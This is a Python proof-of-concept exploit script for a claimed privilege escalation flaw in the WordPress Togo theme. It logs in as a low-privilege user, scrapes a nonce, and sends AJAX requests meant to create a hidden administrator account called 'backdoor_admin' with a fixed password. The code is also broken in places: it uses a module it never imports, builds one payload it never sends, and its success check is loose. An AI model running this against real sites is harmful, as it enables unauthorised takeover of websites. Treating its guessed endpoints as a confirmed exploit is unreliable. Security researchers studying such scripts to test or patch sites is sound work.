# CVE-2025-62034 WordPress Togo Theme Privilege Escalation PoC
# Target: WordPress site with Togo Theme < 1.0.4
# Author: Security Researcher
import requests
import sys
from bs4 import BeautifulSoup
TARGET_URL = "http://target-wordpress-site.com"
USERNAME = "attacker_account"
PASSWORD = "attacker_password"
def get_wp_nonce(url, cookie):
"""Extract security nonce from admin page"""
try:
response = requests.get(url, cookies=cookie, timeout=10)
soup = BeautifulSoup(response.text, 'html.parser')
nonce_tag = soup.find('input', {'id': 'security_nonce'})
if nonce_tag:
return nonce_tag.get('value', '')
# Alternative nonce extraction
nonce_tag = soup.find('input', {'name': '_wpnonce'})
if nonce_tag:
return nonce_tag.get('value', '')
return None
except Exception as e:
print(f"[-] Error getting nonce: {e}")
return None
def login_wordpress():
"""Authenticate to WordPress"""
session = requests.Session()
login_url = f"{TARGET_URL}/wp-login.php"
login_data = {
'log': USERNAME,
'pwd': PASSWORD,
'wp-submit': 'Log In',
'redirect_to': f"{TARGET_URL}/wp-admin/",
'testcookie': '1'
}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Cookie': 'wordpress_test_cookie=WP+Cookie+check'
}
try:
response = session.post(login_url, data=login_data, headers=headers, timeout=10)
if 'wordpress_logged_in' in str(session.cookies.get_dict()):
print("[+] Login successful!")
return session.cookies.get_dict()
else:
print("[-] Login failed!")
return None
except Exception as e:
print(f"[-] Login error: {e}")
return None
def exploit_privilege_escalation(cookies):
"""Exploit the privilege escalation vulnerability"""
# Get admin page nonce
admin_url = f"{TARGET_URL}/wp-admin/admin.php?page=togo-options"
nonce = get_wp_nonce(admin_url, cookies)
if not nonce:
print("[-] Could not obtain security nonce")
return False
print(f"[+] Obtained nonce: {nonce}")
# Exploit payload - create admin user or modify privileges
exploit_url = f"{TARGET_URL}/wp-admin/admin-ajax.php"
# Method 1: Modify user role via theme options
exploit_data = {
'action': 'togo_save_options',
'security': nonce,
'option_name': 'user_role',
'option_value': 'administrator',
'user_id': get_current_user_id(cookies)
}
# Method 2: Add new admin user
new_admin_data = {
'action': 'togo_ajax_handler',
'sub_action': 'create_user',
'security': nonce,
'username': 'backdoor_admin',
'email': '
[email protected]',
'role': 'administrator',
'password': 'P@ssw0rd123!'
}
try:
# Try privilege escalation via theme AJAX endpoint
response = requests.post(exploit_url, data=new_admin_data, cookies=cookies, timeout=10)
if response.status_code == 200:
result = response.json() if response.headers.get('content-type', '').find('json') != -1 else response.text
print(f"[+] Exploit response: {result}")
# Verify escalation
verify_url = f"{TARGET_URL}/wp-admin/users.php"
verify_response = requests.get(verify_url, cookies=cookies, timeout=10)
if 'backdoor_admin' in verify_response.text or 'administrator' in verify_response.text:
print("[+] Privilege escalation successful!")
print("[+] New admin account created or role modified")
return True
print("[-] Exploitation may have failed, check manually")
return False
except Exception as e:
print(f"[-] Exploit error: {e}")
return False
def get_current_user_id(cookies):
"""Get current user ID"""
try:
response = requests.get(f"{TARGET_URL}/wp-admin/profile.php", cookies=cookies, timeout=10)
user_id_match = re.search(r'user_id=(\d+)', response.text)
if user_id_match:
return user_id_match.group(1)
return '1'
except:
return '1'
def main():
print("=" * 60)
print("CVE-2025-62034 - WordPress Togo Theme Privilege Escalation")
print("=" * 60)
# Step 1: Login as low-privilege user
cookies = login_wordpress()
if not cookies:
sys.exit(1)
# Step 2: Exploit the vulnerability
if exploit_privilege_escalation(cookies):
print("\n[!] Target is VULNERABLE!")
print("[!] Immediate remediation required!")
else:
print("\n[-] Exploitation attempt completed")
if __name__ == "__main__":
main()